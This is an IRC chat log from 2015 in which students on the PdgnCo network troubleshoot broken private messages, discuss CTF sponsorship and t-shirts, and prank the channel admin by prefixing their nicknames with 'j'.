[2015-04-13T17:15:34-0400] <JacobEdelman> awe: talk via fb?
[2015-04-13T17:17:50-0400] <Pharyngeal> Dank memes?
[2015-04-13T17:17:52-0400] <Pharyngeal> 9_9
[2015-04-13T17:18:08-0400] <NSA> ayy lmao
[2015-04-13T17:18:11-0400] <NSA> i'm the NSA
[2015-04-13T17:18:13-0400] <NSA> who are you
[2015-04-13T17:18:33-0400] <+awe> JacobEdelman: it seems that you stopped receiving my messages.
[2015-04-13T17:18:38-0400] <JacobEdelman> yes, it seems I did
[2015-04-13T17:18:42-0400] <JacobEdelman> fb chat please?
[2015-04-13T17:18:50-0400] <z3t> way to go awe
[2015-04-13T17:18:55-0400] <z3t> add services and break PMs
[2015-04-13T17:19:11-0400] <+awe> PMs aren't broken. Just mine and JacobEdelman.
[2015-04-13T17:19:32-0400] <z3t> NSA: did you get my PM?
[2015-04-13T17:19:49-0400] <NSA> nope
[2015-04-13T17:19:51-0400] <z3t> see? must be broken.
[2015-04-13T17:19:52-0400] <NSA> so just yours
[2015-04-13T17:20:00-0400] <NSA> wait...
[2015-04-13T17:20:05-0400] <NSA> z3t: i'll try PMmming you
[2015-04-13T17:20:19-0400] <NSA> did you get mine
[2015-04-13T17:20:31-0400] <z3t> err no
[2015-04-13T17:20:34-0400] <NSA> wutt
[2015-04-13T17:20:37-0400] <z3t> way to go awe
[2015-04-13T17:20:44-0400] <+awe> Wat?
[2015-04-13T17:20:50-0400] <+awe> Are PMs seriously not working network-wide?
[2015-04-13T17:20:51-0400] <NSA> awe: try disconnecting services lol
[2015-04-13T17:20:58-0400] <JacobEdelman> wait, actually?
[2015-04-13T17:21:06-0400] <JacobEdelman> I don't trust z3t not to be trolling
[2015-04-13T17:21:14-0400] <z3t> I only troll on #tjhsst
[2015-04-13T17:21:15-0400] <NSA> true
[2015-04-13T17:21:21-0400] <NSA> wait a second
[2015-04-13T17:21:23-0400] NSA is now known as fwilson
[2015-04-13T17:21:30-0400] <fwilson> z3t: how about that
[2015-04-13T17:21:38-0400] <JacobEdelman> fwilson: pm me?
[2015-04-13T17:21:40-0400] <z3t> uh yeah I got that one...tf?
[2015-04-13T17:21:41-0400] <+awe> z3t: seems to me to be trolling.
[2015-04-13T17:21:53-0400] <JacobEdelman> I got fwilsons
[2015-04-13T17:21:57-0400] <fwilson> ok
[2015-04-13T17:21:59-0400] fwilson is now known as NSA
[2015-04-13T17:22:01-0400] <z3t> i'm so confused
[2015-04-13T17:22:31-0400] NSA is now known as fwilson
[2015-04-13T17:22:40-0400] <fwilson> diagnosis: don't use three-character nicknames
[2015-04-13T17:22:52-0400] <fwilson> ¯\_(ツ)_/¯
[2015-04-13T17:22:56-0400] <JacobEdelman> works fine for fwilson and I
[2015-04-13T17:23:00-0400] <z3t> wait
[2015-04-13T17:23:06-0400] <JacobEdelman> hmm
[2015-04-13T17:23:08-0400] <z3t> I have a 3 character nickname D:
[2015-04-13T17:23:18-0400] JacobEdelman is now known as aw3
[2015-04-13T17:23:20-0400] <fwilson> no
[2015-04-13T17:23:21-0400] <+awe> It might be some sort of spam checker...?
[2015-04-13T17:23:27-0400] <fwilson> it doesn't work if you /nick after connection
[2015-04-13T17:23:28-0400] <z3t> or
[2015-04-13T17:23:30-0400] <fwilson> as in
[2015-04-13T17:23:31-0400] <z3t> OR
[2015-04-13T17:23:33-0400] <fwilson> it does
[2015-04-13T17:23:36-0400] <z3t> censorship
[2015-04-13T17:23:53-0400] <+awe> I got that, aw3.
[2015-04-13T17:23:56-0400] <aw3> okay
[2015-04-13T17:24:02-0400] <aw3> so its not 3 letter
[2015-04-13T17:24:06-0400] aw3 is now known as JacobEdelman
[2015-04-13T17:24:08-0400] <fwilson> connecting with 3-letter nicks
[2015-04-13T17:24:16-0400] <z3t> I bet LittleBobbyTables is behind this
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[2015-04-13T17:24:27-0400] <aw3> ok
[2015-04-13T17:24:31-0400] <fwilson> nope
[2015-04-13T17:24:34-0400] <fwilson> not the issue
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[2015-04-13T17:24:46-0400] <JacobEdelman> so....
[2015-04-13T17:25:04-0400] <JacobEdelman> maybe it only blocks people who like Java?
[2015-04-13T17:25:10-0400] <fwilson> confirmed
[2015-04-13T17:25:11-0400] <z3t> bitch
[2015-04-13T17:25:12-0400] <+awe> This is weird.
[2015-04-13T17:25:12-0400] <JacobEdelman> yeah
[2015-04-13T17:25:17-0400] <fwilson> java and rust
[2015-04-13T17:25:17-0400] <JacobEdelman> awe: admit it
[2015-04-13T17:25:25-0400] <fwilson> actually
[2015-04-13T17:25:27-0400] <fwilson> yeah
[2015-04-13T17:25:27-0400] <JacobEdelman> pdgn blocks java lovers
[2015-04-13T17:25:29-0400] <fwilson> just java
[2015-04-13T17:25:37-0400] <JacobEdelman> java lovers/not-dislikers
[2015-04-13T17:25:48-0400] <JacobEdelman> next test
[2015-04-13T17:25:55-0400] <JacobEdelman> apothy pm somebody!
[2015-04-13T17:25:56-0400] <+awe> JacobEdelman: I'm going to be using Scala over the summer.
[2015-04-13T17:26:01-0400] <fwilson> NO
[2015-04-13T17:26:07-0400] <JacobEdelman> thats okay by me I think
[2015-04-13T17:26:08-0400] <fwilson> that's terrifying
[2015-04-13T17:26:10-0400] <JacobEdelman> I mean, its no java
[2015-04-13T17:26:14-0400] <fwilson> but jvm
[2015-04-13T17:26:25-0400] <+awe> The JVM is faster than the CLR.
[2015-04-13T17:26:45-0400] <fwilson> which is faster than assembly
[2015-04-13T17:26:51-0400] <+awe> What?
[2015-04-13T17:27:06-0400] <fwilson> http://discuss.fogcreek.com/joelonsoftware/default.asp?cmd=show&ixPost=7598
[2015-04-13T17:27:14-0400] <fwilson> http://byteworm.com/2010/11/21/the-fastest-vm-bytecode-interpreter/
[2015-04-13T17:27:36-0400] <z3t> JacobEdelman: You are no longer allowed in #java
[2015-04-13T17:28:35-0400] <+awe> fwilson: they conducted these benchmarks wrong.
[2015-04-13T17:28:47-0400] <jwoglom> https://groups.google.com/forum/#!topic/mozilla.dev.platform/xaGffxAM-hs
[2015-04-13T17:28:47-0400] <fwilson> awe: yes
[2015-04-13T17:28:50-0400] <fwilson> it's a joke
[2015-04-13T17:28:51-0400] <jwoglom> by bye http
[2015-04-13T17:28:55-0400] <+awe> fwilson: okay, just making sure.
[2015-04-13T17:29:36-0400] <jwoglom> i think i've found a solution to the pm problem
[2015-04-13T17:29:45-0400] <jwoglom> let's start up a bunch of bots and have them pm everyone
[2015-04-13T17:29:54-0400] <jwoglom> then lets see who replies!
[2015-04-13T17:30:11-0400] <fwilson> i mean
[2015-04-13T17:30:13-0400] <fwilson> we have the bots
[2015-04-13T17:30:22-0400] <+awe> jwoglom: lol
[2015-04-13T17:30:27-0400] <jwoglom> fwilson: yeah
[2015-04-13T17:30:35-0400] <fwilson> LET'S GO FOR IT
[2015-04-13T17:30:47-0400] <jwoglom> LETS DO THIS FWILSON
[2015-04-13T17:30:51-0400] <fwilson> meh
[2015-04-13T17:30:55-0400] <fwilson> i still have to write my english paper
[2015-04-13T17:35:59-0400] <z3t> oh forgot short day Thursday @ TJ kids
[2015-04-13T17:36:11-0400] <jwoglom> we don't have short day thursdays
[2015-04-13T17:36:16-0400] <jwoglom> school just starts 30 mins late
[2015-04-13T17:36:18-0400] <z3t> oh that sucks
[2015-04-13T17:36:32-0400] <z3t> tj sucks
[2015-04-13T17:36:35-0400] <z3t> you suck
[2015-04-13T17:37:32-0400] <jwoglom> z3t: you suck
[2015-04-13T17:37:46-0400] <jwoglom> class time is still the same though
[2015-04-13T17:38:00-0400] <jwoglom> oh also, this thursday IS a short day county wide
[2015-04-13T17:38:01-0400] <jwoglom> forgot about that
[2015-04-13T17:38:09-0400] <jwoglom> i was thinking about JLC thursdays which we have every week
[2015-04-13T17:40:30-0400] <z3t> oh thought TJ was stupid and didn't go with county short days by what you said
[2015-04-13T17:49:05-0400] <JacobEdelman> fb is sponsoring HSCTF again
[2015-04-13T17:52:50-0400] <Tamini> niiice
[2015-04-13T17:53:58-0400] <JacobEdelman> now to get one more sponsor
[2015-04-13T17:54:07-0400] <JacobEdelman> hey Tamini, you wanna sponsor a CTF?
[2015-04-13T17:54:29-0400] <Tamini> how much money do you want from me
[2015-04-13T17:54:29-0400] <Tamini> :P
[2015-04-13T17:55:25-0400] <sdamashek> 420 dank memes
[2015-04-13T17:55:34-0400] <JacobEdelman> hmmm
[2015-04-13T17:56:00-0400] <jwoglom> i can offer 10 satoshis
[2015-04-13T17:56:01-0400] <JacobEdelman> well, you're worth tons, so I expect 1 mill won't put a big dent in your comeptition winnings
[2015-04-13T17:56:06-0400] <JacobEdelman> so yeah, 1 million dollars
[2015-04-13T17:56:15-0400] <JacobEdelman> Tamini_: can you do that?
[2015-04-13T17:56:19-0400] <JacobEdelman> *Tamini:
[2015-04-13T17:56:33-0400] <Tamini_> LOL
[2015-04-13T17:56:36-0400] <Tamini_> nah
[2015-04-13T17:56:37-0400] <Tamini_> im good
[2015-04-13T17:56:45-0400] <JacobEdelman> wait
[2015-04-13T17:56:52-0400] <jwoglom> you switched nicks
[2015-04-13T17:56:52-0400] <JacobEdelman> why are you switching nicks so suddenly
[2015-04-13T17:56:53-0400] <JacobEdelman> also
[2015-04-13T17:56:54-0400] <jwoglom> lol
[2015-04-13T17:56:58-0400] <JacobEdelman> lol
[2015-04-13T17:57:00-0400] <JacobEdelman> also
[2015-04-13T17:57:07-0400] <JacobEdelman> how about something worth more than 1 mill?
[2015-04-13T17:57:16-0400] <JacobEdelman> like a 2013 picoctf tshirt?
[2015-04-13T17:57:25-0400] <JacobEdelman> *2014
[2015-04-13T17:57:46-0400] <JacobEdelman> just kidding, everybody knows 2014 pico tshirts are myths
[2015-04-13T17:57:52-0400] <jwoglom> JacobEdelman: well, you could just pay $10 online and make one yourself..
[2015-04-13T17:58:42-0400] <JacobEdelman> I don't know what they look like
[2015-04-13T17:58:57-0400] <z3t> I have sent numerous emails to them at the suggestion of tylemi7 JacobEdelman, and have not gotten a single response.
[2015-04-13T17:59:30-0400] <JacobEdelman> lol
[2015-04-13T18:00:40-0400] <z3t> http://www.theguardian.com/science/2015/apr/13/nasas-curiosity-rover-finds-water-below-surface-of-mars
[2015-04-13T18:00:42-0400] <z3t> dis cool
[2015-04-13T18:01:16-0400] <jwoglom> JacobEdelman: http://puu.sh/hcUEp/daa2f3f76c.png
[2015-04-13T18:01:20-0400] <jwoglom> tada!
[2015-04-13T18:01:31-0400] <sdamashek> PPP said the design was done
[2015-04-13T18:01:31-0400] <jwoglom> 1 million dollars, please.
[2015-04-13T18:01:44-0400] <sdamashek> and they're working on production
[2015-04-13T18:01:47-0400] <sdamashek> this was like a week ago
[2015-04-13T18:01:53-0400] <jwoglom> wow, bet that took them a while to finish that design
[2015-04-13T18:02:10-0400] <jwoglom> watch it be a tshirt with just a picoctf logo
[2015-04-13T18:02:13-0400] <sdamashek> well, they are college students
[2015-04-13T18:02:38-0400] <jwoglom> true
[2015-04-13T18:02:52-0400] <sdamashek> it has been quite a while though lol
[2015-04-13T18:03:13-0400] <jwoglom> at this point, they may as well make them the 2015 tshirts
[2015-04-13T18:04:04-0400] <Tamini_> this nick means im sitting in bed with my phone
[2015-04-13T18:04:08-0400] <Tamini_> im studying for physics
[2015-04-13T18:04:32-0400] <JacobEdelman> lol
[2015-04-13T18:05:19-0400] <jwoglom> so Tamini_ can either be lazy Tamini or productive Tamini
[2015-04-13T18:05:21-0400] <jwoglom> interesting
[2015-04-13T18:20:39-0400] <z3t> I swear to god this game intentionally puts the worst players in the game on my team (CoD)
[2015-04-13T18:22:50-0400] <JacobEdelman> having a complete lack of designers is annoying for hsctf
[2015-04-13T18:23:13-0400] <JacobEdelman> currently I'm one of the best designers.... and thats very bad
[2015-04-13T18:33:22-0400] <nickthename> lol
[2015-04-13T18:34:00-0400] <+awe> jwoglom: Lol, I can do design stuff for you, if you need help.
[2015-04-13T18:34:02-0400] <+awe> erm
[2015-04-13T18:34:03-0400] <+awe> JacobEdelman: ^
[2015-04-13T18:34:18-0400] <jwoglom> Awe pls
[2015-04-13T18:34:25-0400] <jwoglom> We are two different people :P
[2015-04-13T18:34:30-0400] <+awe> But you're both the letter J.
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[2015-04-13T18:41:03-0400] <z3t> letter J?
[2015-04-13T18:41:06-0400] z3t is now known as jz3t
[2015-04-13T18:41:14-0400] <+awe> jz3t: I hate you.
[2015-04-13T18:41:56-0400] <jz3t> ayy
[2015-04-13T19:08:05-0400] <jwoglom> jayy
[2015-04-13T19:09:39-0400] <fwilson> lmao
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[2015-04-13T19:42:16-0400] <jz3t> what's the point of joining for 24 seconds ^
[2015-04-13T19:42:29-0400] <jwoglom> his client probably died
[2015-04-13T19:42:36-0400] <jz3t> rip
[2015-04-13T19:43:02-0400] <fwilson> rip in potato
[2015-04-13T20:23:58-0400] <LittleBobbyTables> What am I behind?
[2015-04-13T20:24:34-0400] <LittleBobbyTables> JacobEdelman: no, not for 100 bucks
[2015-04-13T20:25:44-0400] LittleBobbyTables is now known as jLittleBobbyTables
[2015-04-13T20:30:38-0400] apothy (uid15876@pdgn-550.9ak.7cuf9e.IP) joined the channel
[2015-04-13T20:31:32-0400] <jLittleBobbyTables> apothy: we're changing our nicks to start with j to piss off awe
[2015-04-13T20:32:10-0400] <+awe> Thanks, jLittleBobbyTables.
[2015-04-13T20:32:30-0400] <jLittleBobbyTables> No problem
[2015-04-13T20:32:48-0400] <jwoglom> j nicks unite!
[2015-04-13T20:33:14-0400] <alokpathy> I think at some point awe will get used to just typing two letters before tabbing xD
[2015-04-13T20:34:13-0400] fwilson is now known as j
[2015-04-13T20:34:22-0400] <alokpathy> rekt
[2015-04-13T20:34:22-0400] j is now known as fwilson
[2015-04-13T20:34:36-0400] <fwilson> what are you going to do when i have a 1-letter nick
[2015-04-13T20:36:54-0400] jwoglom is now known as j
[2015-04-13T20:37:00-0400] <j> fwilpls
[2015-04-13T20:37:08-0400] <j> i used this nick first actually
[2015-04-13T20:37:10-0400] <j> :P
[2015-04-13T20:37:52-0400] <j> 2014-11-20 09:48:57     --      You are now known as j
[2015-04-13T20:37:54-0400] <j> 2014-11-20 09:49:01     j       wow one character nickname
[2015-04-13T20:37:56-0400] <j> ayy
[2015-04-13T20:37:58-0400] j is now known as jwoglom
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[2015-04-13T20:38:09-0400] <fwilson> fien
[2015-04-13T20:38:11-0400] <failedxyz> hei
[2015-04-13T20:38:16-0400] <alokpathy> soup
[2015-04-13T20:38:22-0400] <fwilson> dank
[2015-04-13T20:38:24-0400] <fwilson> memes
[2015-04-13T20:38:48-0400] <failedxyz> is tjctf not happenin
[2015-04-13T20:38:48-0400] <failedxyz> g
[2015-04-13T20:38:51-0400] <fwilson> it's happening
[2015-04-13T20:38:55-0400] <failedxyz> registration is still not up
[2015-04-13T20:38:56-0400] <fwilson> afaik
[2015-04-13T20:39:00-0400] <fwilson> yeah they're working on that
[2015-04-13T20:39:24-0400] <jwoglom> fwilson: they might want to get that up
[2015-04-13T20:39:26-0400] <jwoglom> lol
[2015-04-13T20:39:29-0400] <fwilson> probably
[2015-04-13T20:41:57-0400] <failedxyz> lol
[2015-04-13T20:42:16-0400] <jLittleBobbyTables> alokpathy: jjjjjjjjjNick is the solution then
[2015-04-13T20:42:26-0400] <alokpathy> lel
[2015-04-13T20:43:35-0400] fwilson is now known as jfwilson
[2015-04-13T20:43:42-0400] <jz3t> aw yis
[2015-04-13T20:43:59-0400] jLittleBobbyTables is now known as jjjjjjjjjjjjjjLittleBobbyTables
[2015-04-13T20:44:06-0400] jfwilson is now known as jjjjjjjjjjjjjjfwilson
[2015-04-13T20:44:20-0400] <jjjjjjjjjjjjjjLittleBobbyTables> jz3t: JacobEdelman jwoglom 
[2015-04-13T20:44:22-0400] jjjjjjjjjjjjjjfwilson is now known as jjjjjjjjjjjjjjjjjjjjjjjjfwilson
[2015-04-13T20:45:23-0400] kenzierocks is now known as kkkkkkkkkkenzierocks
[2015-04-13T20:45:36-0400] <kkkkkkkkkkenzierocks> ヽ( ｡ヮﾟ)ノ
[2015-04-13T20:45:39-0400] <jwoglom> oh damn
[2015-04-13T20:45:40-0400] <alokpathy> wao
[2015-04-13T20:45:43-0400] <jjjjjjjjjjjjjjLittleBobbyTables> kkkkkkkkkkenzierocks: ur doing it wrong
[2015-04-13T20:45:43-0400] <alokpathy> The combo-breaker.
[2015-04-13T20:45:49-0400] <jjjjjjjjjjjjjjLittleBobbyTables> >:(
[2015-04-13T20:45:53-0400] <alokpathy> kkkkkkkkkkenzierocks: u drunk?
[2015-04-13T20:45:55-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> kkkkkkkkkkenzierocks: no
[2015-04-13T20:46:08-0400] <kkkkkkkkkkenzierocks> no
[2015-04-13T20:46:11-0400] <kkkkkkkkkkenzierocks> i dont drink
[2015-04-13T20:46:12-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> oh come on
[2015-04-13T20:46:19-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> put js in front of your nickname
[2015-04-13T20:46:22-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> jjjjjjjjjjjjjjjjkenzierocks
[2015-04-13T20:46:27-0400] jwoglom is now known as jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj
[2015-04-13T20:46:31-0400] jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj is now known as jjjjjjjjjjjjjjjjjjjjjjjjjjjjjj
[2015-04-13T20:46:35-0400] jjjjjjjjjjjjjjjjjjjjjjjjjjjjjj is now known as jjjjjjjjjjjjjjjjjjjjjjjjjjjjj
[2015-04-13T20:46:39-0400] jjjjjjjjjjjjjjjjjjjjjjjjjjjjj is now known as jjjjjjjjjjjjjjjjjjjjjjjjjjjj
[2015-04-13T20:46:42-0400] <alokpathy> lolwtf
[2015-04-13T20:46:43-0400] jjjjjjjjjjjjjjjjjjjjjjjjjjjj is now known as jjjjjjjjjjjjjjjjjjjjjjjjjjj
[2015-04-13T20:46:47-0400] jjjjjjjjjjjjjjjjjjjjjjjjjjj is now known as jjjjjjjjjjjjjjjjjjjjjjjjjj
[2015-04-13T20:46:52-0400] jjjjjjjjjjjjjjjjjjjjjjjjjj is now known as jjjjjjjjjjjjjjjjjjjjjjjjj
[2015-04-13T20:46:55-0400] jjjjjjjjjjjjjjjjjjjjjjjjj is now known as jjjjjjjjjjjjjjjjjjjjjjjj
[2015-04-13T20:46:59-0400] jjjjjjjjjjjjjjjjjjjjjjjj is now known as jjjjjjjjjjjjjjjjjjjjjjj
[2015-04-13T20:47:03-0400] jjjjjjjjjjjjjjjjjjjjjjj is now known as jjjjjjjjjjjjjjjjjjjjjj
[2015-04-13T20:47:07-0400] jjjjjjjjjjjjjjjjjjjjjj is now known as jjjjjjjjjjjjjjjjjjjjj
[2015-04-13T20:47:07-0400] jjjjjjjjjjjjjjjjjjjjj (jwoglom@pdgn-npn.rgt.b45una.IP) left IRC (Connection closed)
[2015-04-13T20:47:10-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> ayy
[2015-04-13T20:47:12-0400] <alokpathy> xD
[2015-04-13T20:47:19-0400] <jjjjjjjjjjjjjjLittleBobbyTables> alokpathy: jjjjjjjjjjjjjjjjjjoin us
[2015-04-13T20:47:22-0400] jwoglom (jwoglom@pdgn-npn.rgt.b45una.IP) joined the channel
[2015-04-13T20:47:28-0400] <alokpathy> jjjjjjjjjjjjjjLittleBobbyTables: Maybe later :P
[2015-04-13T20:47:42-0400] <jwoglom> ok well that went badly
[2015-04-13T20:47:44-0400] jwoglom is now known as jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj
[2015-04-13T20:47:46-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj> i do know that jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj is the longest nickname tho
[2015-04-13T20:47:50-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> jwoglomvps: jjjjjjjjjjjjjjjjjjjjjjjjjwoglom
[2015-04-13T20:47:55-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> is that you want
[2015-04-13T20:47:58-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> *what you want
[2015-04-13T20:48:08-0400] jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj is now known as jjjjjjjjjjjjjjjjjjjjjjjjjwoglom
[2015-04-13T20:48:17-0400] hardmath123 (hardmath123@pdgn-1fv.ggl.o6nc3t.IP) left the channel ("i don't even want to know anymore")
[2015-04-13T20:48:22-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> aww
[2015-04-13T20:48:28-0400] <failedxyz> wtf 
[2015-04-13T20:48:29-0400] <failedxyz> plz
[2015-04-13T20:48:29-0400] <jjjjjjjjjjjjjjLittleBobbyTables> Yeah, my name is the lonest possible
[2015-04-13T20:48:33-0400] <jjjjjjjjjjjjjjLittleBobbyTables> failedxyz: jjjjjjjjjjjjjjjjjjjjjoin us
[2015-04-13T20:48:40-0400] <failedxyz> :s
[2015-04-13T20:48:46-0400] failedxyz is now known as LittleBobbyTables
[2015-04-13T20:48:49-0400] <LittleBobbyTables> i'll steal your nickname
[2015-04-13T20:48:50-0400] <LittleBobbyTables> while you're at it
[2015-04-13T20:48:51-0400] <jjjjjjjjjjjjjjLittleBobbyTables> rude
[2015-04-13T20:48:53-0400] <LittleBobbyTables> lol
[2015-04-13T20:48:54-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> i'll steal your mom
[2015-04-13T20:48:56-0400] LittleBobbyTables is now known as failedxyz
[2015-04-13T20:49:36-0400] kkkkkkkkkkenzierocks is now known as kenzierocks
[2015-04-13T20:51:31-0400] <sdamashek> wat
[2015-04-13T20:51:38-0400] <jjjjjjjjjjjjjjLittleBobbyTables> We're annoying awe
[2015-04-13T20:51:44-0400] <alokpathy> sdamashek: Just smile and wave.
[2015-04-13T20:51:54-0400] sdamashek is now known as jdamashek
[2015-04-13T20:52:01-0400] <alokpathy> So much for smiling and waving.
[2015-04-13T20:52:15-0400] <jdamashek> I'm also smiling and waving!
[2015-04-13T20:52:26-0400] <alokpathy> Ah, nice :P
[2015-04-13T20:52:33-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> hey jdamashek!
[2015-04-13T20:52:37-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> welcome to the club
[2015-04-13T20:52:45-0400] <jjjjjjjjjjjjjjLittleBobbyTables> jdamashek: you need more j's
[2015-04-13T20:53:04-0400] jdamashek is now known as jjjjjjjjjjjjjjjjjjjjjjsdamashek
[2015-04-13T20:53:11-0400] <jjjjjjjjjjjjjjLittleBobbyTables> good :)
[2015-04-13T20:53:23-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> ayy
[2015-04-13T20:53:45-0400] <jz3t> I come back
[2015-04-13T20:53:47-0400] <jz3t> everything is js
[2015-04-13T20:53:49-0400] <jz3t> D:
[2015-04-13T20:53:51-0400] kenzierocks is now known as jjjjjjjjjjjjjjjjjjjjkenzierocks
[2015-04-13T20:53:55-0400] jjjjjjjjjjjjjjjjjjjjkenzierocks is now known as jjjjjjjjjjjjjjjjjjjkenzierocks
[2015-04-13T20:53:59-0400] jz3t is now known as jjjjjjjjjjjjjjjjjjjjjjjjjz3t
[2015-04-13T20:53:59-0400] <+awe>  /ban j*@*!*
[2015-04-13T20:54:09-0400] jjjjjjjjjjjjjjjjjjjkenzierocks is now known as kkkenzierocks
[2015-04-13T20:54:20-0400] <jjjjjjjjjjjjjjLittleBobbyTables> lel
[2015-04-13T20:54:24-0400] <jjjjjjjjjjjjjjjjjjjjjjsdamashek> dank
[2015-04-13T20:54:28-0400] <jjjjjjjjjjjjjjLittleBobbyTables> you'd be banning jwoglomvps :P
[2015-04-13T20:54:49-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> and jwoglom
[2015-04-13T20:54:51-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> pls
[2015-04-13T20:55:25-0400] jjjjjjjjjjjjjjLittleBobbyTables is now known as LittleBobbyTables
[2015-04-13T20:55:49-0400] jjjjjjjjjjjjjjjjjjjjjjjjjz3t is now known as j
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[2015-04-13T21:37:32-0400] awe (awe@admin.pdgn.co) joined the channel
[2015-04-13T21:37:32-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-04-13T21:37:32-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-13T20:45:43-0400] <alokpathy> The combo-breaker.
[2015-04-13T20:45:48-0400] <jjjjjjjjjjjjjjLittleBobbyTables> >:(
[2015-04-13T20:45:53-0400] <alokpathy> kkkkkkkkkkenzierocks: u drunk?
[2015-04-13T20:45:55-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> kkkkkkkkkkenzierocks: no
[2015-04-13T20:46:08-0400] <kkkkkkkkkkenzierocks> no
[2015-04-13T20:46:11-0400] <kkkkkkkkkkenzierocks> i dont drink
[2015-04-13T20:46:12-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> oh come on
[2015-04-13T20:46:19-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> put js in front of your nickname
[2015-04-13T20:46:22-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> jjjjjjjjjjjjjjjjkenzierocks
[2015-04-13T20:46:42-0400] <alokpathy> lolwtf
[2015-04-13T20:47:10-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> ayy
[2015-04-13T20:47:12-0400] <alokpathy> xD
[2015-04-13T20:47:19-0400] <jjjjjjjjjjjjjjLittleBobbyTables> alokpathy: jjjjjjjjjjjjjjjjjjoin us
[2015-04-13T20:47:28-0400] <alokpathy> jjjjjjjjjjjjjjLittleBobbyTables: Maybe later :P
[2015-04-13T20:47:42-0400] <jwoglom> ok well that went badly
[2015-04-13T20:47:46-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj> i do know that jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj is the longest nickname tho
[2015-04-13T20:47:50-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> jwoglomvps: jjjjjjjjjjjjjjjjjjjjjjjjjwoglom
[2015-04-13T20:47:55-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> is that you want
[2015-04-13T20:47:58-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> *what you want
[2015-04-13T20:48:22-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> aww
[2015-04-13T20:48:28-0400] <failedxyz> wtf 
[2015-04-13T20:48:29-0400] <failedxyz> plz
[2015-04-13T20:48:29-0400] <jjjjjjjjjjjjjjLittleBobbyTables> Yeah, my name is the lonest possible
[2015-04-13T20:48:33-0400] <jjjjjjjjjjjjjjLittleBobbyTables> failedxyz: jjjjjjjjjjjjjjjjjjjjjoin us
[2015-04-13T20:48:40-0400] <failedxyz> :s
[2015-04-13T20:48:48-0400] <LittleBobbyTables> i'll steal your nickname
[2015-04-13T20:48:50-0400] <LittleBobbyTables> while you're at it
[2015-04-13T20:48:51-0400] <jjjjjjjjjjjjjjLittleBobbyTables> rude
[2015-04-13T20:48:53-0400] <LittleBobbyTables> lol
[2015-04-13T20:48:54-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> i'll steal your mom
[2015-04-13T20:51:31-0400] <sdamashek> wat
[2015-04-13T20:51:38-0400] <jjjjjjjjjjjjjjLittleBobbyTables> We're annoying awe
[2015-04-13T20:51:44-0400] <alokpathy> sdamashek: Just smile and wave.
[2015-04-13T20:52:01-0400] <alokpathy> So much for smiling and waving.
[2015-04-13T20:52:15-0400] <jdamashek> I'm also smiling and waving!
[2015-04-13T20:52:26-0400] <alokpathy> Ah, nice :P
[2015-04-13T20:52:33-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> hey jdamashek!
[2015-04-13T20:52:37-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> welcome to the club
[2015-04-13T20:52:45-0400] <jjjjjjjjjjjjjjLittleBobbyTables> jdamashek: you need more j's
[2015-04-13T20:53:11-0400] <jjjjjjjjjjjjjjLittleBobbyTables> good :)
[2015-04-13T20:53:23-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> ayy
[2015-04-13T20:53:45-0400] <jz3t> I come back
[2015-04-13T20:53:47-0400] <jz3t> everything is js
[2015-04-13T20:53:49-0400] <jz3t> D:
[2015-04-13T20:54:00-0400] <+awe>  /ban j*@*!*
[2015-04-13T20:54:20-0400] <jjjjjjjjjjjjjjLittleBobbyTables> lel
[2015-04-13T20:54:24-0400] <jjjjjjjjjjjjjjjjjjjjjjsdamashek> dank
[2015-04-13T20:54:28-0400] <jjjjjjjjjjjjjjLittleBobbyTables> you'd be banning jwoglomvps :P
[2015-04-13T20:54:49-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> and jwoglom
[2015-04-13T20:54:51-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> pls
[2015-04-13T21:37:34-0400] Mode is +nrt
[2015-04-13T22:05:50-0400] <Pharyngeal> What the fuck
[2015-04-13T22:08:00-0400] <LittleBobbyTables> lol
[2015-04-13T22:10:33-0400] <jjjjjjjjjjjjjjjjjjjjjjsdamashek> idk
[2015-04-13T22:14:02-0400] Pharyngeal is now known as a
[2015-04-13T22:20:21-0400] <+awe> a: I hate all of you.
[2015-04-13T22:21:14-0400] <a> At least mine doesn't look make the IRC client gag 
[2015-04-13T22:21:14-0400] <a> Er, s/look/
[2015-04-13T22:21:14-0400] a is now known as NotAPharynx
